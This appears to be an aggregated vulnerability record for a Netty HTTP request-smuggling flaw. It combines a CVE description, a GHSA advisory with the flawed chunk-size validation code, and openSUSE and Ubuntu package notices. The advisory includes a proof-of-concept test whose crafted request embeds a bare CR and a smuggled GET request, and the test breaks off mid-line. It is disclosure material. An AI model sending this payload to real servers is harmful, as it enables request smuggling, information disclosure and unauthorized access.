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fkie_cve-2026-93566

2026-09-28T18:45:40.113279+00:00

A flaw was found in Netty. A remote attacker could exploit this by sending a specially crafted HTTP request that includes control characters within the chunk-size line. This bypasses the intended strict validation, allowing the attacker to inject arbitrary HTTP requests. This vulnerability can lead to HTTP request smuggling, potentially resulting in information disclosure or other unauthorized actions.

GHSA-9mrj-55p4-qwf4

2026-09-28T18:45:40.113406+00:00

### Summary Netty skips strict chunk size line validation when the line has no chunk extension (`;`), so a chunk size line containing an embedded bare CR (e.g. `0\rX`) is accepted instead of rejected, enabling HTTP request smuggling.

### Details `io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions` only runs the strict validator `HttpChunkLineValidatingByteProcessor` when a `;` is present:

```java int extensionsStart = line.bytesBefore((byte) ';'); if (extensionsStart == -1) { return; } ```

According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A

`chunk-size = 1*HEXDIG`

### PoC

```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "0\rX\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n";

EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch

openSUSE-SU-2026:11882-1 — netty-4.1.138-1.1 on GA media

2026-09-28T18:45:40.113477+00:00

netty-4.1.138-1.1 on GA media

UBUNTU-CVE-2026-93566

2026-09-28T18:45:40.113753+00:00

Affected: Ubuntu:Pro:14.04:LTS: netty, Ubuntu:Pro:16.04:LTS: netty, Ubuntu:Pro:18.04:LTS: netty, Ubuntu:Pro:20.04:LTS: netty, Ubuntu:Pro:22.04:LTS: netty, Ubuntu:Pro:24.04:LTS: netty, Ubuntu:Pro:26.04:LTS: netty